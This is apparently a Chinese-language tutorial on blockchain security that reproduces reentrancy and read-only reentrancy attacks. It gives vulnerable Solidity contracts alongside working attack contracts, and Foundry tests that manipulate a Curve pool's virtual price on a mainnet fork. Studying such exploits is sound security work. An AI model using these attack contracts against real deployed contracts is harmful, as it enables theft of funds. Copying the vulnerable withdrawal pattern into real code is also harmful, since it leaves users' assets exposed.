区块链安全常见的攻击——重入漏洞(Reentrancy Vulnerability)和 只读重入漏洞(Read-Only Reentrancy Vulnerability)
区块链安全常见的攻击合约和简单复现,附带详细分析——重入漏洞(Reentrancy Vulnerability)和 只读重入漏洞(Read-Only Reentrancy Vulnerability)【4】
1、重入漏洞(Reentrancy Vulnerability)
1.1 漏洞合约
contract EtherStore {
mapping(address => uint256) public balances; // 用户余额映射
// 存款函数
function deposit() public payable {
balances[msg.sender] += msg.value; // 更新存款金额
}
// 提款函数(存在漏洞)
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw); // 确保余额足够
(bool send, ) = msg.sender.call{value: _weiToWithdraw}(""); // 发送以太币
require(send, "send failed"); // 检查转账是否成功
// 检查余额后再扣减(避免下溢)
if (balances[msg.sender] >= _weiToWithdraw) {
balances[msg.sender] -= _weiToWithdraw; // 更新余额
}
}
}
1.2 漏洞分析
漏洞的根源在于 withdrawFunds
函数,该函数在更新用户余额之前将 Ether 转账给攻击者。这样就使得用户可以多次调用withdrawFunds 函数,在更新用户余额之前。
1.3 攻击分析
- 写一个攻击合约,合约有receive()函数,函数可以循环调用withdrawFunds
- 攻击者先存储 1 以太币 在漏洞合约
- 调用漏洞合约(store)的
withdrawFunds
函数
- 漏洞合约的
withdrawFunds
函数 会将以太币发送给调用者(攻击者),同时会触发攻击合约的receive
函数,不断重入攻击调用withdrawFunds
函数,直到漏洞合约的金额小于1 ether
1.4 攻击合约
contract AttackReentrancy is Test {
EtherStore store; // 目标合约实例
constructor(address _store) {
store = EtherStore(_store); // 初始化目标合约地址
}
function attack() public {
// 在漏洞合约 存储 1 ether
console.log("init Attack contract balance", address(store).balance); // 打印合约余额
store.deposit{value: 1 ether}();
console.log(
"after deposit, Attack contract balance",
address(store).balance
);
store.withdrawFunds(1 ether);
console.log("after attack, contract balance", address(store).balance);
}
receive() external payable {
console.log(
"Cycle out withdrawFunds until the amount of the store contract < 1 ether, store balance: ",
address(store).balance
);
if (address(store).balance >= 1 ether) {
store.withdrawFunds(1 ether); // exploit here
}
}
}
2、只读重入漏洞(Read-Only Reentrancy Vulnerability)
2.1 漏洞合约
interface ICurve {
function get_virtual_price() external view returns (uint);
function add_liquidity(
uint[2] calldata amounts,
uint min_mint_amount
) external payable returns (uint);
function remove_liquidity(
uint lp,
uint[2] calldata min_amounts
) external returns (uint[2] memory);
function remove_liquidity_one_coin(
uint lp,
int128 i,
uint min_amount
) external returns (uint);
}
address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
address constant LP_TOKEN = 0x06325440D014e39736583c165C2963BA99fAf14E; //steCRV Token
// VulnContract
// users stake LP_TOKEN
// getReward rewards the users based on the current price of the pool LP token
contract VulnContract {
IERC20 public constant token = IERC20(LP_TOKEN);
ICurve private constant pool = ICurve(STETH_POOL);
mapping(address => uint) public balanceOf;
function stake(uint amount) external {
token.transferFrom(msg.sender, address(this), amount);
balanceOf[msg.sender] += amount;
}
function unstake(uint amount) external {
balanceOf[msg.sender] -= amount;
token.transfer(msg.sender, amount);
}
function getReward() external view returns (uint) {
//rewarding tokens based on the current virtual price of the pool LP token
uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) /
1 ether;
// Omitting code to transfer reward tokens
return reward;
}
}
2.2 漏洞分析
攻击的核心在于目标合约 (target) 中的 getReward() 函数,它是一个只读(view)函数,用于计算奖励。
在调用 Curve 池的 remove_liquidity 函数时,攻击合约的 receive 函数会被触发。攻击者在 receive 函数中调用了目标合约的 getReward(),实现了只读重入。
2.3 攻击分析
1.添加流动性(add_liquidity)
uint[2] memory amounts = [add_lq_value, 0];
uint lp = pool.add_liquidity{value: add_lq_value}(amounts, 1);
攻击者向 Curve 池添加了大量流动性(100,000 Ether),以生成 LP 代币并改变池子的 virtual_price(虚拟价格)。
添加流动性后,LP 代币的价格可能会上升。
2. 获取添加流动性后的虚拟价格
console.log("PRICE: LP token price before remove_liquidity()", pool.get_virtual_price());
记录流动性操作后池子的虚拟价格,为后续对比提供基准。
3. 移除流动性(remove_liquidity)
pool.remove_liquidity(lp, min_amounts);
攻击者将刚才的流动性移除,导致池子的虚拟价格发生变化(可能下降)。
Curve 池在移除流动性时会返还以太币,从而触发攻击合约的 receive 函数。
4. 重入攻击在 receive 函数中触发
receive() external payable {
console.log("LP token price during remove_liquidity()", pool.get_virtual_price());
uint reward = target.getReward();
console.log("Reward during remove_liquidity: ", reward);
}
当 Curve 池的 remove_liquidity 转账触发 receive 回调时,攻击合约调用目标合约的 getReward()。
此时的 getReward() 计算奖励时,会读取被操控后的虚拟价格,导致奖励值不准确。重入攻击成功操控了奖励逻辑。
5 对比前后状态
console.log("Reward after remove_liquidity: ", reward);
在移除流动性后的正常逻辑中再次调用 getReward(),记录未重入时的奖励值。
通过对比,发现重入后奖励值因虚拟价格的操控而被放大。
2.4 攻击合约
// 攻击合约
contract ExploitContract {
ICurve private constant pool = ICurve(STETH_POOL); // Curve 池子地址
IERC20 public constant lpToken = IERC20(LP_TOKEN); // LP 代币地址
VulnContract private immutable target; // 漏洞合约地址
constructor(address _target) {
target = VulnContract(_target); // 初始化漏洞合约
}
// 将 LP 代币存入漏洞合约
function stakeTokens() external payable {
uint add_lq_value = 10 ether;
uint[2] memory amounts = [add_lq_value, 0]; // 添加流动性
console.log("virtual_price:", pool.get_virtual_price());
console.log("the first time 11 add_liquidity...");
uint lp = pool.add_liquidity{value: add_lq_value}(amounts, 1);
console.log("virtual_price: ", pool.get_virtual_price());
lpToken.approve(address(target), lp); // 授权漏洞合约操作 LP 代币
target.stake(lp); // 存入漏洞合约
}
// 执行只读重入攻击
function performReadOnlyReentrnacy() external payable {
uint add_lq_value = 100000 ether;
uint[2] memory amounts = [add_lq_value, 0]; // 添加流动性
console.log("the second time 22 add_liquidity...");
uint lp = pool.add_liquidity{value: add_lq_value}(amounts, 1);
console.log("virtual_price: ", pool.get_virtual_price());
uint reward = target.getReward(); // 获取奖励
console.log("Reward before remove_liquidity: ", reward);
console.log("start remove_liquidity attack !!!");
uint[2] memory min_amounts = [uint(0), uint(0)];
pool.remove_liquidity(lp, min_amounts); // 移除流动性,触发 receive 函数
console.log(
"--------------------------------------------------------------------"
);
console.log("virtual_price: ", pool.get_virtual_price());
console.log("get Reward ...");
reward = target.getReward(); // 获取奖励
console.log("Reward after remove_liquidity: ", reward);
}
// 回退函数 - 利用重入攻击
receive() external payable {
console.log(
"--------------------------------------------------------------------"
);
console.log("virtual_price: ", pool.get_virtual_price());
console.log("receive() get Reward ...");
uint reward = target.getReward(); // 攻击时获取奖励
console.log("Reward during remove_liquidity: ", reward);
}
}
// 测试合约
contract ExploitTest is Test {
ExploitContract public hack; // 攻击合约
VulnContract public target; // 漏洞合约
function setUp() public {
vm.createSelectFork("mainnet"); // 使用主网分叉
target = new VulnContract(); // 部署漏洞合约
hack = new ExploitContract(address(target)); // 部署攻击合约
}
function testPwn() public {
vm.deal(address(hack), 1000010 ether);
hack.stakeTokens(); // 存入 Ether
hack.performReadOnlyReentrnacy(); // 执行攻击
}
}